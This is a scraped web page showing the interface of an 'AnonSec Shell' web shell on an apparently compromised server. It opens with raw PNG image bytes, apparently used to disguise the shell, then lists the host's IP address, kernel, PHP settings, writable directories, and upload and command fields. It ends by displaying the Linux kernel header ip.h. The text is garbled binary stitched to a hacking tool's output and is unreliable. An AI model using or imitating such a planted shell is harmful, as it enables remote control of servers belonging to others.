‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ Š²¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGùÍ‹Ñ™˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æ󵄵ik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ﶲ²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈDŽ¼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/include/linux/ip.h
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
 * INET		An implementation of the TCP/IP protocol suite for the LINUX
 *		operating system.  INET is implemented using the  BSD Socket
 *		interface as the means of communication with the user level.
 *
 *		Definitions for the IP protocol.
 *
 * Version:	@(#)ip.h	1.0.2	04/28/93
 *
 * Authors:	Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG>
 *
 *		This program is free software; you can redistribute it and/or
 *		modify it under the terms of the GNU General Public License
 *		as published by the Free Software Foundation; either version
 *		2 of the License, or (at your option) any later version.
 */
#ifndef _LINUX_IP_H
#define _LINUX_IP_H
#include <linux/types.h>
#include <asm/byteorder.h>

#define IPTOS_TOS_MASK		0x1E
#define IPTOS_TOS(tos)		((tos)&IPTOS_TOS_MASK)
#define	IPTOS_LOWDELAY		0x10
#define	IPTOS_THROUGHPUT	0x08
#define	IPTOS_RELIABILITY	0x04
#define	IPTOS_MINCOST		0x02

#define IPTOS_PREC_MASK		0xE0
#define IPTOS_PREC(tos)		((tos)&IPTOS_PREC_MASK)
#define IPTOS_PREC_NETCONTROL           0xe0
#define IPTOS_PREC_INTERNETCONTROL      0xc0
#define IPTOS_PREC_CRITIC_ECP           0xa0
#define IPTOS_PREC_FLASHOVERRIDE        0x80
#define IPTOS_PREC_FLASH                0x60
#define IPTOS_PREC_IMMEDIATE            0x40
#define IPTOS_PREC_PRIORITY             0x20
#define IPTOS_PREC_ROUTINE              0x00


/* IP options */
#define IPOPT_COPY		0x80
#define IPOPT_CLASS_MASK	0x60
#define IPOPT_NUMBER_MASK	0x1f

#define	IPOPT_COPIED(o)		((o)&IPOPT_COPY)
#define	IPOPT_CLASS(o)		((o)&IPOPT_CLASS_MASK)
#define	IPOPT_NUMBER(o)		((o)&IPOPT_NUMBER_MASK)

#define	IPOPT_CONTROL		0x00
#define	IPOPT_RESERVED1		0x20
#define	IPOPT_MEASUREMENT	0x40
#define	IPOPT_RESERVED2		0x60

#define IPOPT_END	(0 |IPOPT_CONTROL)
#define IPOPT_NOOP	(1 |IPOPT_CONTROL)
#define IPOPT_SEC	(2 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_LSRR	(3 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_TIMESTAMP	(4 |IPOPT_MEASUREMENT)
#define IPOPT_CIPSO	(6 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_RR	(7 |IPOPT_CONTROL)
#define IPOPT_SID	(8 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_SSRR	(9 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_RA	(20|IPOPT_CONTROL|IPOPT_COPY)

#define IPVERSION	4
#define MAXTTL		255
#define IPDEFTTL	64

#define IPOPT_OPTVAL 0
#define IPOPT_OLEN   1
#define IPOPT_OFFSET 2
#define IPOPT_MINOFF 4
#define MAX_IPOPTLEN 40
#define IPOPT_NOP IPOPT_NOOP
#define IPOPT_EOL IPOPT_END
#define IPOPT_TS  IPOPT_TIMESTAMP

#define	IPOPT_TS_TSONLY		0		/* timestamps only */
#define	IPOPT_TS_TSANDADDR	1		/* timestamps and addresses */
#define	IPOPT_TS_PRESPEC	3		/* specified modules only */

#define IPV4_BEET_PHMAXLEN 8

struct iphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
	__u8	ihl:4,
		version:4;
#elif defined (__BIG_ENDIAN_BITFIELD)
	__u8	version:4,
  		ihl:4;
#else
#error	"Please fix <asm/byteorder.h>"
#endif
	__u8	tos;
	__be16	tot_len;
	__be16	id;
	__be16	frag_off;
	__u8	ttl;
	__u8	protocol;
	__sum16	check;
	__be32	saddr;
	__be32	daddr;
	/*The options start here. */
};


struct ip_auth_hdr {
	__u8  nexthdr;
	__u8  hdrlen;		/* This one is measured in 32 bit units! */
	__be16 reserved;
	__be32 spi;
	__be32 seq_no;		/* Sequence number */
	__u8  auth_data[0];	/* Variable len but >=4. Mind the 64 bit alignment! */
};

struct ip_esp_hdr {
	__be32 spi;
	__be32 seq_no;		/* Sequence number */
	__u8  enc_data[0];	/* Variable len but >=8. Mind the 64 bit alignment! */
};

struct ip_comp_hdr {
	__u8 nexthdr;
	__u8 flags;
	__be16 cpi;
};

struct ip_beet_phdr {
	__u8 nexthdr;
	__u8 hdrlen;
	__u8 padlen;
	__u8 reserved;
};

/* index values for the variables in ipv4_devconf */
enum
{
	IPV4_DEVCONF_FORWARDING=1,
	IPV4_DEVCONF_MC_FORWARDING,
	IPV4_DEVCONF_PROXY_ARP,
	IPV4_DEVCONF_ACCEPT_REDIRECTS,
	IPV4_DEVCONF_SECURE_REDIRECTS,
	IPV4_DEVCONF_SEND_REDIRECTS,
	IPV4_DEVCONF_SHARED_MEDIA,
	IPV4_DEVCONF_RP_FILTER,
	IPV4_DEVCONF_ACCEPT_SOURCE_ROUTE,
	IPV4_DEVCONF_BOOTP_RELAY,
	IPV4_DEVCONF_LOG_MARTIANS,
	IPV4_DEVCONF_TAG,
	IPV4_DEVCONF_ARPFILTER,
	IPV4_DEVCONF_MEDIUM_ID,
	IPV4_DEVCONF_NOXFRM,
	IPV4_DEVCONF_NOPOLICY,
	IPV4_DEVCONF_FORCE_IGMP_VERSION,
	IPV4_DEVCONF_ARP_ANNOUNCE,
	IPV4_DEVCONF_ARP_IGNORE,
	IPV4_DEVCONF_PROMOTE_SECONDARIES,
	IPV4_DEVCONF_ARP_ACCEPT,
	IPV4_DEVCONF_ARP_NOTIFY,
	IPV4_DEVCONF_ACCEPT_LOCAL,
	IPV4_DEVCONF_SRC_VMARK,
	IPV4_DEVCONF_PROXY_ARP_PVLAN,
	IPV4_DEVCONF_ROUTE_LOCALNET,
	IPV4_DEVCONF_IGMPV2_UNSOLICITED_REPORT_INTERVAL,
	IPV4_DEVCONF_IGMPV3_UNSOLICITED_REPORT_INTERVAL,
	IPV4_DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN,
	IPV4_DEVCONF_DROP_UNICAST_IN_L2_MULTICAST,
	IPV4_DEVCONF_DROP_GRATUITOUS_ARP,
	IPV4_DEVCONF_BC_FORWARDING,
	__IPV4_DEVCONF_MAX
};

#define IPV4_DEVCONF_MAX (__IPV4_DEVCONF_MAX - 1)

#endif /* _LINUX_IP_H */

Anon7 - 2022
AnonSec Team